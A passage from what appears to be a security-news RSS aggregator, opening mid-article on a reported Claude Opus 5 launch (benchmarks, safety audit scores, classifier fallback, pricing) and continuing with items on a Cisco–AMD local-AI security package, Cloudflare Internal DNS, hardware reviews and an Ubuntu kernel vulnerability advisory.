a real bug in a popular open-source package manager, the model found the root cause and fixed an edge case the community's own patch had missed; a competing model patched only the symptom and declared victory. An engineer at a trading firm, the company says, used Opus 5 to build a market data feed for a new exchange in a single session and, finding no live feed to validate against, watched the model build its own test harness to check its parsing code.</p><p>Customers described similar behavior in the wild. Cristian Rivera, a staff software engineer at Stripe, said he gave the model "a chief-of-staff role over my dev environments" for a weekend: "it built its own monitor, drove each box, and pulled me in only for the judgment calls."</p><p>This is the capability enterprises actually care about, and it is worth dwelling on why. The gap between a model that produces plausible output and one that verifies its output is the gap between a demo and a deployable system. Most of the hidden cost of enterprise AI today is human review — engineers checking the machine's work. A model that reliably checks its own work compresses that cost, which is precisely why customers keep citing fewer turns, fewer passes, and less time rather than higher raw scores.</p><h2><b>Inside Anthropic's safety strategy: capability gaps, classifiers, and model fallbacks</b></h2><p>The launch also showcases Anthropic's increasingly intricate approach to safety — one that now involves deliberately not teaching its models certain skills. The company says its automated behavioral audit found Opus 5 to be its most aligned model to date, scoring 2.3 on overall misaligned behavior, lower than <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a>, <a href="https://www.anthropic.com/news/claude-sonnet-5">Sonnet 5</a>, or <a href="https://www.anthropic.com/claude/fable">Fable 5</a>, with the lowest rates of deceptive behavior and the least susceptibility to being tricked into misuse.</p><p>On the capability side, Anthropic says it intentionally avoided training <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> on cyber tasks, as it did with Opus 4.8. The model improved on them anyway — a side effect of general capability gains — and now nearly matches Mythos 5 at finding software vulnerabilities. But it remains far behind at exploiting them: on Anthropic's OSS-Fuzz evaluation, Opus 5 identified vulnerabilities at a 79.4 percent rate, close to Mythos 5's 80 percent, but succeeded at developing exploits in only 4 challenges versus Mythos 5's 13. That asymmetry — strong at defense-relevant discovery, weak at offense-relevant exploitation — appears to be by design, and the safeguards follow the same logic. Anthropic expects Opus 5's cyber classifiers to intervene about 85 percent less often than Fable 5's.</p><p>When a classifier does trigger, requests in <a href="http://claude.ai/">Claude.ai</a>, <a href="https://code.claude.com/docs/en/overview">Claude Code</a>, and <a href="https://claude.com/product/cowork">Claude Cowork</a> fall back to <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a> by default — raising an obvious question: if a request is too risky for one model, why is it acceptable for another? "The model it falls back to has lower capability levels making the risk of harmful use lower as well," the spokesperson said, adding that "there is a message that lets the user know when this occurs and is visible in the chat."</p><p>The logic is defensible, but it reveals how AI safety actually works in 2026: risk is not a property of the question alone, but of the question multiplied by the capability of the system answering it. On biology, the calculus runs the other way. Opus 5 is now Anthropic's most capable generally available model for scientific research — scoring 10.2 percentage points higher than Opus 4.8 on the company's internal chemistry benchmark — though the spokesperson acknowledged that "Mythos 5 remains the stronger model for long-horizon, open-ended work like autonomous drug design campaigns."</p><h2><b>The business stakes behind the launch: a $380 billion valuation and massive compute bets</b></h2><p>The launch lands at a moment of extraordinary commercial momentum — and extraordinary obligations — for Anthropic. Reuters reported in February that the company was valued at <a href="https://www.reuters.com/technology/anthropic-valued-380-billion-latest-funding-round-2026-02-12/">roughly $380 billion</a> in its latest funding round, following a period in which, per Contrary Research's analysis, its annualized revenue climbed from about $1 billion at the end of 2024 to a projected $9 billion by the end of 2025, with internal targets reportedly <a href="https://research.contrary.com/company/anthropic">reaching $20 to $26 billion for 2026</a>. Those targets are underwritten by enormous infrastructure commitments, including a <a href="https://www.anthropic.com/news/microsoft-nvidia-anthropic-announce-strategic-partnerships">reported $30 billion Azure compute deal</a> alongside arrangements with Google Cloud and Nvidia — spending that only pencils out if enterprises keep expanding usage.</p><p>That is the context in which Opus 5's pricing strategy makes sense. Holding the price at Opus 4.8 levels while roughly doubling performance on key agentic benchmarks is effectively a steep price cut per unit of capability, designed to widen the funnel of workloads that are economical to automate. Every task that was marginal at Opus 4.8's cost-per-success becomes viable at Opus 5's — and every viable task is recurring token revenue.</p><p>The regulatory backdrop has grown more complex as well. A U.S. judge gave final approval this week to <a href="https://www.reuters.com/world/us-judge-approves-anthropics-15-billion-settlement-copyright-lawsuit-2026-07-20/">Anthropic's $1.5 billion copyright settlement with book authors</a>, Reuters reported, closing a chapter of litigation over the company's early training data. And in June, Reuters, citing Axios, reported that the U.S. government had moved to <a href="https://www.reuters.com/technology/us-blocks-foreign-access-anthropics-most-advanced-ai-models-axios-reports-2026-06-13/">block foreign access </a>to Anthropic's most advanced models — a reminder that frontier AI is now entangled with export policy in ways that shape which customers can buy what.</p><p>Also shipping Friday: a Fast mode running at roughly 2.5 times default speed at twice the base price, automatic fallback routing on the API, and mid-conversation tool changes that no longer invalidate the prompt cache — a small feature that agent developers may appreciate more than any benchmark. Consistent with prior Opus models, Opus 5 carries no data retention requirements for general access, a point the spokesperson flagged unprompted for customers with "a hard zero data retention requirement." Developers can access the model as claude-opus-5 on the <a href="https://platform.claude.com/login?returnTo=%2F%3F">Claude API</a> starting today.</p><p>Two questions will determine whether the bet pays off: whether <a href="http://anthropic.com/news/claude-opus-5">Opus 5's efficiency claims </a>survive contact with production workloads at scale, and whether enterprises embrace a world where safety classifiers, not users, sometimes decide which model answers. But the deeper message of Friday's launch is that the AI industry's center of gravity has moved. For three years, the labs competed on what their best model could do on its best day. With Opus 5, Anthropic is competing on something less glamorous and far more lucrative: what a very good model can do every day, for half the price. In a market where the frontier keeps moving, Anthropic is wagering that the real fortune lies just behind it.</p><p>
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<title><![CDATA[Cisco, AMD partner to bring enterprise-level security, visibility to Ryzen AI Halo systems]]></title>
<description><![CDATA[Cisco and AMD have expanded their partnership with a new package of hardware and security software that’s designed to help enterprise customers protect, deploy, and manage distributed AI resources.



During AMD’s Advancing AI event this week, Cisco’s president and chief product officer Jeetu Pat...]]></description>
<link>https://tsecurity.de/de/3692178/it-security-nachrichten/cisco-amd-partner-to-bring-enterprise-level-security-visibility-to-ryzen-ai-halo-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692178/it-security-nachrichten/cisco-amd-partner-to-bring-enterprise-level-security-visibility-to-ryzen-ai-halo-systems/</guid>
<pubDate>Fri, 24 Jul 2026 19:18:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Cisco and AMD have expanded their partnership with a new package of hardware and security software that’s designed to help enterprise customers protect, deploy, and manage distributed AI resources.</p>



<p class="wp-block-paragraph">During AMD’s <a href="https://www.amd.com/en/corporate/events/advancing-ai.html">Advancing AI event</a> this week, Cisco’s president and chief product officer <a href="https://www.networkworld.com/article/4184554/how-jeetu-patel-made-cisco-unrecognizable.html">Jeetu Patel</a> took to the stage during AMD CEO <a href="https://www.amd.com/en/corporate/events/advancing-ai.html">Lisa Su’s keynote</a> to talk about how AI inference will be widely distributed and will require an architectural stack of software and tools that Cisco and <a href="https://www.networkworld.com/article/4199402/helios-marks-amds-biggest-ai-infrastructure-push-yet.html">AMD</a> are partnering to develop.</p>



<p class="wp-block-paragraph">The joint architecture combines AMD’s compact, high-performance Ryzen AI Halo hardware and a variety of Cisco networking, observability, governance, and security technologies. “AMD provides the deskside/local AI platform. At the foundation is AMD Ryzen AI Halo hardware, an isolated agent sandbox and the services needed for local-first inferencing, including model routing and token limits via AMD’s Semantic Router and local inference on Lemonade,” wrote Cisco’s <a href="https://www.linkedin.com/in/yash-sheth-/">Yash Sheth</a>, senior director, engineering and research, in a <a href="https://blogs.cisco.com/ai/from-one-desk-to-the-whole-enterprise-making-local-ai-resilient">blog post</a> about the new package.</p>



<p class="wp-block-paragraph"><a href="https://www.amd.com/en/products/processors/desktops/ryzen/ryzen-ai-halo.html?gad_source=1&amp;gad_campaignid=24009436319&amp;gbraid=0AAAAApk3AUDJs1_xMEd2YjxcG8iJu-gS4&amp;gclid=Cj0KCQjw94bTBhDQARIsAN3vv0xmM9xu9mXa5H5zAbKFqNzUy1FPP5AS-lOA1qXh1a9bmw54LMQtYXgaArV-EALw_wcB">Ryzen AI Halo</a> (pictured below) is designed to support local AI inference on an AI PC using its CPU, GPU, and XDNA neural processing unit (NPU), according to AMD. A resilient AI platform should continue delivering useful AI services even when connectivity is limited, models need to change, or workloads shift, AMD stated.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large is-resized"> width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"&gt;</figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">Cisco then wraps that platform in a secure harness that includes its Splunk Agent Observability plus Splunk Infrastructure Monitoring to provide full-stack observability, tracking agent behavior, tokenomics and compute operation, according to Sheth.</p>



<p class="wp-block-paragraph">Cisco also brings its <a href="https://www.networkworld.com/article/4148823/cisco-goes-all-in-on-agentic-ai-security.html">AI Defense</a> for model and agent security; <a href="https://www.networkworld.com/article/4179673/cisco-brings-agentic-ops-platform-and-security-overhaul-to-cisco-live.html">DefenseClaw</a> for security policy enforcement, so guardrails are enforced directly on-device, within the agent harness; and <a href="https://www.networkworld.com/article/4180810/what-is-cisco-cloud-control-and-why-should-customers-care.html">Cisco Cloud Control</a> offering a single pane of glass for unified policy and control, Sheth stated.</p>



<p class="wp-block-paragraph">“To make deskside and local AI computing work at enterprise scale, every AI node must be treated as a secure, managed node in the enterprise network,” Sheth wrote.</p>



<p class="wp-block-paragraph">“The need for token efficiency and data sovereignty is driving a new class of computing, deskside computing, with users and teams putting AI agents right by their sides,” Sheth wrote. “Inference is moving to a hybrid architecture with thousands of ambient deskside agents in an enterprise helping employees have 24×7 productivity. That’s an extraordinary opportunity. It’s also a brand-new operating challenge.”</p>



<p class="wp-block-paragraph">As agentic AI moves from experimentation to real enterprise workflows, organizations need more than powerful endpoints. AI agents can run continuously and act on enterprise data, but create new requirements for network infrastructure, tokenomics, agent behavior, and security, according to a <a href="https://newsroom.amd.com/news/aai-2026-cisco-client-partnership-update/">statement</a> from AMD.</p>



<p class="wp-block-paragraph">“Running more AI locally can help improve responsiveness, keep sensitive data closer to users, and reduce dependence on cloud-only approaches, but enterprises also need a way to monitor and manage these systems at scale. AMD and Cisco are addressing that gap by collaborating to pair high-performance local AI compute with the observability, governance, and control infrastructure needed for enterprises to deploy it responsibly,” AMD stated.</p>



<p class="wp-block-paragraph">“By combining AMD Ryzen AI Halo systems and our broader local AI software capabilities with Cisco’s enterprise networking, observability and security technologies, we are helping customers deploy AI in a way that is performant, secure, observable and manageable at scale,” said Jack Huynh, senior vice president and general manager, computing and graphics group with AMD, in a statement.</p>



<p class="wp-block-paragraph">A few other interesting statistics and trends cited in AMD CEO Su’s keynote include:</p>



<ul class="wp-block-list">
<li>AI adoption is accelerating across all industries, with agentic AI driving a surge in compute demand and shifting workloads from training to inference, which accounts for 60% of global AI compute capacity in 2026.</li>



<li>AI is moving beyond the cloud, with edge and personal devices becoming critical for real-time, distributed intelligence.</li>



<li>The AI accelerator market is projected to reach $1.4 trillion by 2030, nearly tripling previous forecasts, with GPUs expected to dominate but CPUs gaining new growth vectors due to agentic AI.</li>



<li>Server CPU market is forecasted to grow over 50% to $200 billion by 2030, fueled by rapid agentic AI adoption and the need for massive CPU infrastructure.</li>
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<title><![CDATA[Anthropic says Opus 5 can nearly match its top-performing model for half the price]]></title>
<description><![CDATA[Anthropic's latest model offers top-tier performance at a much cheaper cost.]]></description>
<link>https://tsecurity.de/de/3692149/it-nachrichten/anthropic-says-opus-5-can-nearly-match-its-top-performing-model-for-half-the-price/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692149/it-nachrichten/anthropic-says-opus-5-can-nearly-match-its-top-performing-model-for-half-the-price/</guid>
<pubDate>Fri, 24 Jul 2026 19:09:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Anthropic's latest model offers top-tier performance at a much cheaper cost.]]></content:encoded>
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<title><![CDATA[Claude Opus 5 arrives with near Fable performance at half the price]]></title>
<description><![CDATA[Anthropic's latest Claude upgrade targets developers and enterprises with stronger coding, better reasoning efficiency, prompt-cache-friendly tool changes, and near-Fable performance at Opus pricing.]]></description>
<link>https://tsecurity.de/de/3692135/hacking/claude-opus-5-arrives-with-near-fable-performance-at-half-the-price/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692135/hacking/claude-opus-5-arrives-with-near-fable-performance-at-half-the-price/</guid>
<pubDate>Fri, 24 Jul 2026 19:06:21 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Anthropic's latest Claude upgrade targets developers and enterprises with stronger coding, better reasoning efficiency, prompt-cache-friendly tool changes, and near-Fable performance at Opus pricing.]]></content:encoded>
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<title><![CDATA[Cloudflare Internal DNS puts public and private DNS on one policy engine]]></title>
<description><![CDATA[Enterprises typically operate separate systems for internal and external DNS because the two serve different audiences. Public DNS resolves names for services meant to be reached from the internet. Private DNS resolves internal resources, such as databases and internal applications, that should n...]]></description>
<link>https://tsecurity.de/de/3692009/it-security-nachrichten/cloudflare-internal-dns-puts-public-and-private-dns-on-one-policy-engine/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692009/it-security-nachrichten/cloudflare-internal-dns-puts-public-and-private-dns-on-one-policy-engine/</guid>
<pubDate>Fri, 24 Jul 2026 18:18:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Enterprises typically operate separate systems for internal and external <a href="https://www.networkworld.com/article/965540/what-is-dns-and-how-does-it-work.html">DNS</a> because the two serve different audiences. Public DNS resolves names for services meant to be reached from the internet. Private DNS resolves internal resources, such as databases and internal applications, that should never be visible outside the corporate network. </p>



<p class="wp-block-paragraph">While public DNS is usually a single system, private DNS is often scattered across on-premises appliances, cloud-native resolvers, and split-horizon setups, where the same hostname resolves to a different answer depending on whether the query comes from inside or outside the network. Coordinating those deployments across headquarters, branch offices, and multiple clouds means <a href="https://www.networkworld.com/article/4158134/dns-security-is-often-inadequate-and-network-engineers-should-get-more-involved.html">ongoing manual synchronization work</a> for network teams. </p>



<p class="wp-block-paragraph">Private DNS itself is not a new concept. It is already available from hyperscalers and established enterprise DNS vendors, but it typically runs apart from public DNS, with its own console, control plane and policy engine.</p>



<p class="wp-block-paragraph">Cloudflare’s answer is a product it calls Internal DNS.</p>



<p class="wp-block-paragraph">“Many organizations already use Cloudflare for their public DNS,” <a href="https://www.linkedin.com/in/enriquesomoza/">Enrique Somoza</a>, product, performance and infrastructure at Cloudflare, told<em> Network World</em>. “Internal DNS extends that same platform to private DNS, so public and private are managed from the same global network and control plane.” </p>



<h2 class="wp-block-heading">How it works</h2>



<p class="wp-block-paragraph">Query handling starts at the resolver, not at the zone. That consolidation extends to daily operations as well.</p>



<p class="wp-block-paragraph">“Instead of operating two separate DNS systems, customers use one API, one audit trail, one dashboard, and one policy engine for every DNS query—whether it is for a public website or an internal application,” Somoza said.</p>



<p class="wp-block-paragraph"><strong>Policy first.</strong> The resolver sits ahead of every lookup, not behind it. “Architecturally, Cloudflare Gateway becomes the resolver that customers connect to, and can use WARP, DNS over HTTPS, DNS over TLS, or traditional DNS,” Somoza said. “Gateway evaluates zero -trust policies first, then routes the query to the appropriate DNS view based on context, such as source IP, device posture, or network location.”</p>



<p class="wp-block-paragraph"><strong>No public path in.</strong> Internal zones sit outside the public DNS hierarchy entirely. “Internal zones are never assigned public nameservers—they are only reachable through Gateway, so every query is evaluated before it is resolved,” Somoza said.</p>



<p class="wp-block-paragraph"><strong>One hostname, multiple answers.</strong> Branch offices, data centers and cloud environments no longer each need their own resolver stack. “Operationally, this simplifies environments that span branch offices, data centers, and multiple clouds,” Somoza said. “The same internal hostname can return different answers depending on where the request originated without maintaining separate resolver infrastructure, conditional forwarders, or duplicate zone files.”</p>



<p class="wp-block-paragraph">Somoza described the underlying objective in direct terms: “The goal is to make internal DNS behave like a single service instead of a collection of independent deployments,” he said.</p>



<p class="wp-block-paragraph"><strong>View selection.</strong> The same hostname can resolve to different IP addresses depending on where the request comes from. Gateway makes that call using several client signals. </p>



<p class="wp-block-paragraph">“View selection is policy driven,” Somoza said. “Gateway resolver policies evaluate the context of each DNS query, including attributes like source IP, device identity, or network location and determine which DNS view should answer the request.”</p>



<p class="wp-block-paragraph">A view is a container, not a separate infrastructure stack. Somoza explained that a view is simply a logical grouping of internal zones. For example, a company could have separate views for Europe and North America, or for corporate users and operational technology networks.</p>



<p class="wp-block-paragraph"><strong>Latency and resilience.</strong> Internal DNS inherits its performance characteristics from Cloudflare’s existing public network. “Internal DNS runs on Cloudflare’s global network, so queries are answered by the nearest available Gateway location, helping keep latency low for connected users,” Somoza said. “Because Internal DNS runs on the same global infrastructure as Cloudflare’s public DNS, it benefits from the same anycast architecture, geographic distribution, and resilient network design.”</p>



<h2 class="wp-block-heading">How this differs from split-horizon DNS</h2>



<p class="wp-block-paragraph">Internal DNS replaces the duplicate-zone model traditional split-horizon setups depend on.</p>



<p class="wp-block-paragraph">“Before migrating, many organizations maintain multiple versions of the same internal DNS zones across headquarters, branch offices, and cloud environments,” Somoza explained. “Conditional forwarders determine which resolver answers each query, and keeping those environments synchronized becomes an ongoing operational task.”</p>



<p class="wp-block-paragraph">Internal DNS collapses those duplicate zones into a single authoritative copy split across views instead. “With Internal DNS, that configuration becomes much simpler,” Somoza said. “A customer might create a single corp.internal zone in Cloudflare and define multiple DNS views.”</p>



<p class="wp-block-paragraph">For example, users in headquarters could receive one internal IP address for wiki.corp.internal, while branch offices receive a different address. Somoza emphasized that the zone itself only exists once. “Instead of maintaining multiple copies of the same configuration, administrators manage a single source of truth,” he said.</p>



<h2 class="wp-block-heading">Early use cases and migration challenges</h2>



<p class="wp-block-paragraph">Not surprisingly, Somoza noted that the first use case Cloudflare sees for Internal DNS is for split-horizon DNS consolidation. There is also interest from organizations that operate across multiple cloud providers that want one consistent internal DNS service instead of managing separate DNS platforms in each environment.</p>



<p class="wp-block-paragraph">Another common use case is extending zero-trust policies to internal name resolution. “Customers already use Gateway to control access to internet traffic, and Internal DNS lets them apply similar policy decisions before internal names are resolved,” Somoza said.</p>



<p class="wp-block-paragraph">When it comes to migration, the friction customers report during migration is procedural rather than architectural. </p>



<p class="wp-block-paragraph">“Customers need to think through API permissions, connectivity, and how existing local DNS forwarding rules interact with Gateway,” Somoza said. “Those are all well understood migration steps and customers often run both environments in parallel before completing the transition.”</p>
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<title><![CDATA[The Razer Kiyo V2 is an excellent webcam, even though its fancy new AI features aren't really that exciting]]></title>
<description><![CDATA[Razer's second-generation Kiyo webcam delivers powerful performance with an excellent physical design,]]></description>
<link>https://tsecurity.de/de/3691989/it-nachrichten/the-razer-kiyo-v2-is-an-excellent-webcam-even-though-its-fancy-new-ai-features-arent-really-that-exciting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691989/it-nachrichten/the-razer-kiyo-v2-is-an-excellent-webcam-even-though-its-fancy-new-ai-features-arent-really-that-exciting/</guid>
<pubDate>Fri, 24 Jul 2026 18:07:39 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Razer's second-generation Kiyo webcam delivers powerful performance with an excellent physical design,]]></content:encoded>
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<title><![CDATA[4K-Mini-LED trifft auf GeForce RTX 5090 Laptop - Asus ROG Strix SCAR 18 G835LXG im Test]]></title>
<description><![CDATA[Premium-Gaming mit kompromissloser Performance. | Asus aktualisiert sein ROG Strix SCAR 18 G835LXG mit dem Intel Core Ultra 9 290HX, einer Nvidia GeForce RTX 5090 Laptop und einem 18 Zoll großen 4K-Mini-LED-Display mit 240 Hz sowie 2.000 Dimming-Zonen. Hinzu kommen sehr gute Wartungsmöglichkeiten...]]></description>
<link>https://tsecurity.de/de/3691777/it-nachrichten/4k-mini-led-trifft-auf-geforce-rtx-5090-laptop-asus-rog-strix-scar-18-g835lxg-im-test/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691777/it-nachrichten/4k-mini-led-trifft-auf-geforce-rtx-5090-laptop-asus-rog-strix-scar-18-g835lxg-im-test/</guid>
<pubDate>Fri, 24 Jul 2026 16:21:16 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Premium-Gaming mit kompromissloser Performance. | Asus aktualisiert sein ROG Strix SCAR 18 G835LXG mit dem Intel Core Ultra 9 290HX, einer Nvidia GeForce RTX 5090 Laptop und einem 18 Zoll großen 4K-Mini-LED-Display mit 240 Hz sowie 2.000 Dimming-Zonen. Hinzu kommen sehr gute Wartungsmöglichkeiten durch den vereinfachten Zugang zu den Komponenten und umfangreiche Individualisierungsoptionen mit AniME Vision und der vielseitigen RGB-Beleuchtung.]]></content:encoded>
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<title><![CDATA[I tested Dell's new midrange work PC - It nails the sweet spot of price and performance]]></title>
<description><![CDATA[Dell's 14S pairs a sleek design with excellent battery life, making it one of the best midrange PC I've tested in 2026.]]></description>
<link>https://tsecurity.de/de/3691714/it-nachrichten/i-tested-dells-new-midrange-work-pc-it-nails-the-sweet-spot-of-price-and-performance/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691714/it-nachrichten/i-tested-dells-new-midrange-work-pc-it-nails-the-sweet-spot-of-price-and-performance/</guid>
<pubDate>Fri, 24 Jul 2026 15:56:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Dell's 14S pairs a sleek design with excellent battery life, making it one of the best midrange PC I've tested in 2026.]]></content:encoded>
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<title><![CDATA[2TB Crucial P310 SSD is on sale, bringing fast Gen4 performance to laptops, desktops, and workstations]]></title>
<description><![CDATA[2TB Crucial P310 NVMe SSD is reduced in price, making it a smart upgrade for everyday PCs and laptops.]]></description>
<link>https://tsecurity.de/de/3691692/it-nachrichten/2tb-crucial-p310-ssd-is-on-sale-bringing-fast-gen4-performance-to-laptops-desktops-and-workstations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691692/it-nachrichten/2tb-crucial-p310-ssd-is-on-sale-bringing-fast-gen4-performance-to-laptops-desktops-and-workstations/</guid>
<pubDate>Fri, 24 Jul 2026 15:33:52 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[2TB Crucial P310 NVMe SSD is reduced in price, making it a smart upgrade for everyday PCs and laptops.]]></content:encoded>
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<title><![CDATA[USN-8606-1: Linux kernel (Azure) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691498/unix-server/usn-8606-1-linux-kernel-azure-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691498/unix-server/usn-8606-1-linux-kernel-azure-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:41 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - RNBD block device driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - Broadcom VK accelerator driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MOST (Media Oriented Systems Transport) drivers;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Performance monitor drivers;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Power supply drivers;
  - RapidIO drivers;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - MediaTek SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - ChipIdea USB driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - DesignWare USB3 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Virtio Host (VHOST) subsystem;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - JFS file system;
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - RCU subsystem;
  - Scheduler infrastructure;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - 9P file system network protocol;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - KCM (Kernel Connection Multiplexor) sockets driver;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Landlock security;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
